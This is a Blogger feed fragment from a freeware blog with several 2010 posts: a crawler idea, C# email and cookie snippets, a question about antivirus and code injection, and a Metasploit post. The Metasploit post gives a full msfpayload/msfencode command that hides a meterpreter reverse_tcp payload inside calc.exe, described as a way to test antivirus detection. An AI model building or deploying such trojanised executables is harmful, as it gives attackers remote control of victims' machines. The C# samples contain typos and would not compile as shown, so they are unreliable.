xmlns:app="http://www.w3.org/2007/app">2010-07-31T11:55:43.028+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="webbrowser" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="crawler" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="auto web browser" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="url" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="uri" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><category scheme="http://www.blogger.com/atom/ns#" term="browser" /><title>Costruire un browser-crawler per navigare in internet in modo "assistito" e con un risultato compatto</title><content type="html">&amp;nbsp;&lt;a href="http://translate.google.it/translate?js=y&amp;amp;prev=_t&amp;amp;hl=it&amp;amp;ie=UTF-8&amp;amp;layout=1&amp;amp;eotf=1&amp;amp;u=http%3A%2F%2Ffreeware--software.blogspot.com%2F&amp;amp;sl=it&amp;amp;tl=en"&gt;translate to english&lt;/a&gt;&lt;br /&gt;
Si tratta solo di un idea ma un browser che svolga anche una navigazione parallela alla nostra e ci aiuti a trovare risultati pertinenti potrebbe essere a mio avviso un risultato parzialemente ottenibile ,un programma vagamente simile è Auto Web Browser ,&lt;br /&gt;
le funzionalità di quest'ipotetico browser-crawler : &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;1) browser&lt;br /&gt;
&amp;nbsp;2) crawler che permetta di trovare le informazioni sul web navigando&amp;nbsp; seguendo link ,parole chiave (e magari sinonimi)&lt;br /&gt;
&amp;nbsp;3) report l'applicazione deve essere in grado di presentare i dati in modo compatto per permettere in seguito una navigazione umana sui&amp;nbsp; dati estratti o sulle pagine originarie&lt;br /&gt;
&amp;nbsp;4) avere un tipo di navigazione che riproduca il piu' possibile&amp;nbsp; quella di una persona per non caricare i web server o saturare la nostra connessione quindi niente code di chiamate http o simili ,un dizionario dei sinonimi incorporato permetterebbe di introdurre una certa elsticità alle keywords iniziali&lt;br /&gt;
&amp;nbsp;5) il programma deve permettere di impostare la profondità e&amp;nbsp; l'accuratezza della navigazione&amp;nbsp; ,ad esempio se estrarre anche l'eventuale testo dalle immagini i meno &lt;br /&gt;
6) il software deve essere in grado di imparare ossia di non analizzare una seconda volta risorse uri dalle quali non ha&amp;nbsp; estratto dati validi per una determinata ricerca,poich' le pagine web cambiano questa dev'essere unaopzione e non una scelta &lt;br /&gt;
&amp;nbsp;7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;spero che qualche lettore del blog possa dare un suo comnmento, critica o suggerimento&lt;/b&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-1605975852505458322?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fB2UBiAStJe4Uvf6QhcUIc8Xtd4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fB2UBiAStJe4Uvf6QhcUIc8Xtd4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fB2UBiAStJe4Uvf6QhcUIc8Xtd4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fB2UBiAStJe4Uvf6QhcUIc8Xtd4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/Hhpz28M5MYY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/1605975852505458322/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/costruire-un-browser-crawler-per.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/1605975852505458322?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/1605975852505458322?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/Hhpz28M5MYY/costruire-un-browser-crawler-per.html" title="Costruire un browser-crawler per navigare in internet in modo &quot;assistito&quot; e con un risultato compatto" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/costruire-un-browser-crawler-per.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUEQXc8cCp7ImA9Wx5TFUo.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6795472403575514402</id><published>2010-07-29T13:37:00.009+02:00</published><updated>2010-07-31T11:56:40.978+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-31T11:56:40.978+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="msfencode option" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="msfencode" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="meterpreter" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="antimeter" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><title>Metasploit ,meterpreter  and  msfencode command</title><content type="html">&lt;b&gt;Msfencode command&lt;/b&gt; allows embed&amp;nbsp; meterpreter payload into an existing executable,this allows building test for antivrus detection and penetration test for firewall, hot it works:&lt;br /&gt;
&lt;b&gt;msfencode&lt;/b&gt; is a function with some option parameters :&lt;br /&gt;
digit&amp;nbsp; &lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;msfencode -h , you see oprtions: &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;-a &lt;opt&gt;  The architecture to encode as&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-b &lt;opt&gt;  The list of characters to avoid: '\x00\xff'&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-c &lt;opt&gt;  The number of times to encode the data&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-e &lt;opt&gt;  The encoder to use&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-h        Help banner&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-i &lt;opt&gt;  Encode the contents of the supplied file path&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-k        Keep template working; run payload in new thread (use with -x)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-l        List available encoders&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-m &lt;opt&gt;  Specifies an additional module search path&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-n        Dump encoder information&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-o &lt;opt&gt;  The output file&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-p &lt;opt&gt;  The platform to encode for&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-s &lt;opt&gt;  The maximum size of the encoded data&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-t &lt;opt&gt;  The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)&lt;/opt&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
-x &lt;opt&gt;  Specify an alternate win32 executable template&lt;/opt&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;opt&gt;this is a sample usage :&lt;/opt&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;./msfpayload  windows/meterpreter/reverse_tcp LHOST=192.168.210.01 R | ./msfencode -t  exe -x calc.exe -k -o calc_meterpreter.exe -e x86/shikata_ga_nai -c 3&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;msfencode command adds &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;reverse_tcp &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;code to .text section of executable file and&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;output is a calc_meterpreter.exe ,if you run &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;calc_meterpreter.exe reverse_tcp is executed in ram and if your firewall is bypassed and hacker listen you have a meterpreter console running on your localhost..... and your data will be copied or your pc will be used for criminal activity ,you can try to scan &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;calc_meterpreter.exe using your antivirus and you can post here the result&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: inherit;"&gt;&lt;b&gt;&lt;span style="font-size: 85%;"&gt;Requirements for test :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: 85%;"&gt;- a pc with windows or linux ,(linux backtrack os have already installed metasploit) &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: 85%;"&gt;- metasploit framework&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: 85%;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: 85%;"&gt;You can try to detect and destroy meterpreter attack in ram using Antimeter.&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;&lt;opt&gt; &lt;/opt&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6795472403575514402?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ENKOwBbORxYJ-tOV5MV7IAyIzsw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ENKOwBbORxYJ-tOV5MV7IAyIzsw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ENKOwBbORxYJ-tOV5MV7IAyIzsw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ENKOwBbORxYJ-tOV5MV7IAyIzsw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/-ymokDR1O0Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6795472403575514402/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/metasploit-meterpreter-and-msfencode.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6795472403575514402?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6795472403575514402?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/-ymokDR1O0Q/metasploit-meterpreter-and-msfencode.html" title="Metasploit ,meterpreter  and  msfencode command" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/metasploit-meterpreter-and-msfencode.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYAQn4-eip7ImA9Wx5TFUo.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-3283792872134778930</id><published>2010-07-28T07:06:00.006+02:00</published><updated>2010-07-31T11:55:43.052+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-31T11:55:43.052+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="smtp" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="smtpclient" /><category scheme="http://www.blogger.com/atom/ns#" term="gmailc# smtp client class example" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><category scheme="http://www.blogger.com/atom/ns#" term="email send" /><title>Send email over ssl programmatically ,using c# and SmtpClient class</title><content type="html">Send email programmatically using c# is very easy,here the code for a class EmailSender for Gmail for sample :&lt;br /&gt;
######################################################&lt;br /&gt;
using Systenm.Net.Mail; &lt;br /&gt;
&lt;br /&gt;
public class EmailSender {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public EmailSender(string smtpServerAddress,int smtpServerPort,usernameEmail,pwdEmail,emailAddressFrom,emailAddressTo) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SmtpClient mailClient = new SmtpClient(smtpServerAddress, smtpServerPort);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mailClient.EnableSsl = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NetworkCredential cred = new NetworkCredential(&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usernameEmail ,pwdEmail);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mailClient.Credentials = cred;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mailClient.EnableSsl = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mailClient.Send(emailAddressFrom, ,emailAddressTo, "i'm the email subject", "i'm the email body");&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
################################################&lt;br /&gt;
&lt;br /&gt;
replace methos Send with SendAsync for heavy process,async don't stop caller thread,see msdn for doc&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-3283792872134778930?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4l45S4nFdA_kynEq8ssfA7Tpvzs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4l45S4nFdA_kynEq8ssfA7Tpvzs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4l45S4nFdA_kynEq8ssfA7Tpvzs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4l45S4nFdA_kynEq8ssfA7Tpvzs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/LBcjcUXQN0s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/3283792872134778930/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/send-email-over-ssl-programmatically.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3283792872134778930?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3283792872134778930?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/LBcjcUXQN0s/send-email-over-ssl-programmatically.html" title="Send email over ssl programmatically ,using c# and SmtpClient class" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/send-email-over-ssl-programmatically.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4BRHw5cCp7ImA9Wx5RGUs.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6866024897912490266</id><published>2010-07-27T13:58:00.000+02:00</published><updated>2010-08-28T04:35:55.228+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-28T04:35:55.228+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="fatkit" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="antivirus" /><category scheme="http://www.blogger.com/atom/ns#" term="mterpreter" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><title>Antivirus tutti inutili?</title><content type="html">&lt;span class="corners-top"&gt;&lt;/span&gt;             &lt;br /&gt;
&lt;div class="content"&gt;Ho letto che alcuni tra gli &lt;span style="font-weight: bold;"&gt;attacchi piu' pericolosi avvengono tramite  iniezione di codice malicious&lt;/span&gt; all'interno di processi in  esecuzione,questo tipo di attacco ha conseguenze devastanti non tanto sul  funzionamento delle macchina ma sui dati ,qualsiasi dato può essere  portato all'esterno con facilità , vorrei sapere quali antivirus  proteggono dall'iniezione di codice nei processi in esecuzione(exe o  dll) in ambiente windows, ho cercato velocemente in internet ma non ho  trovato notizie in questo senso,&lt;span style="font-weight: bold;"&gt;il  vostro antivirus oppure altri eseguono questo tipo di controllo ?&lt;/span&gt;,&lt;br /&gt;
&lt;br /&gt;
forse  mi sono spiegato male quindi vi allego qualche link esplicativo :&lt;br /&gt;
come  avviene l'attacco : un tipo di attacco di nmila possibili  &lt;a class="postlink" href="http://www.ethicalhacker.net/content/view/87/24/" onclick="window.open(this.href);return false;"&gt;http://www.ethicalhacker.net/content/view/87/24/&lt;/a&gt;  ed ho trovato video peggiori ,&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
le tecniche di difesa  &lt;a class="postlink" href="http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf" onclick="window.open(this.href);return false;"&gt;http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf&lt;/a&gt;  , &lt;a class="postlink" href="http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf" onclick="window.open(this.href);return false;"&gt;http://www.nologin.org/Downloads/Papers  ... ection.pdf&lt;/a&gt; ,&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;il  vostro antivirus gestisce l'iniezione di codice in un processo?,&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
spero che possiate aiutarmi al momento trovo  il mio antivirus(uno dei) in un video in cui resta inerte ad un attacco  in cui vengono copiati gli utenti e la password da una macchina  remota....non sarei tanto sicuro che quest'antivirus abbia un ottima  gestione del monitoraggio dell'iniezione di codice in memoria,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_9_voOcJB60M/TBTrtjHxLRI/AAAAAAAAAF0/KMmedBgiwGM/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://2.bp.blogspot.com/_9_voOcJB60M/TBTrtjHxLRI/AAAAAAAAAF0/KMmedBgiwGM/s400/hacker.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6866024897912490266?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/luCm-R9lKk4NwN10spe1rqDo6eI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/luCm-R9lKk4NwN10spe1rqDo6eI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/luCm-R9lKk4NwN10spe1rqDo6eI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/luCm-R9lKk4NwN10spe1rqDo6eI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/MVti4wuUtVA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6866024897912490266/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/06/antivirus-tutti-inutili.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6866024897912490266?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6866024897912490266?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/MVti4wuUtVA/antivirus-tutti-inutili.html" title="Antivirus tutti inutili?" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_9_voOcJB60M/TBTrtjHxLRI/AAAAAAAAAF0/KMmedBgiwGM/s72-c/hacker.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/06/antivirus-tutti-inutili.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYAQn49eyp7ImA9Wx5TFUo.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6658400563097290373</id><published>2010-07-27T07:41:00.006+02:00</published><updated>2010-07-31T11:55:43.063+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-31T11:55:43.063+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cookie" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="webclient headers" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="webclient cookie" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="weclient" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><title>WebClient class ,add cookies management</title><content type="html">//instance of webclient class &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WebClient w = new WebClient(mytestUrl);&lt;br /&gt;
&amp;nbsp;//add a valid user agent definition or web server can refuse your connection&lt;br /&gt;
&amp;nbsp;// here a reference "http://msdn.microsoft.com/en-us/library/ms537503%28VS.85%29.aspx" &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; w.Headers.Add("user-agent","the preferred browser from this website");&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;//here get data from url ......use async methods if you want a responsive application interface&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.DownLoadString(myTestUrl);&lt;br /&gt;
&lt;br /&gt;
//add a cookie for credentials&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.Headers.Add("Cookie_Auth", "user=gianmarco; pwd=48763040");&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.DownLoadString(myTestUrl);&lt;br /&gt;
&lt;br /&gt;
//here get cookie sent from server in responseheaders of webclient class&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; string[] cookies = w.ResponseHeaders.GetValues("set-cookie");&lt;br /&gt;
&lt;br /&gt;
//add for sample first cookie, an auth token cookie result ,you have this cookie in next request......&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.Headers.Set(HttpRequestHeader.Cookie, cookies[0]);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w.DownLoadString(myAuthArea);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6658400563097290373?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/htR2MJHst9IbZKInnf_KdxiCyEI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/htR2MJHst9IbZKInnf_KdxiCyEI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
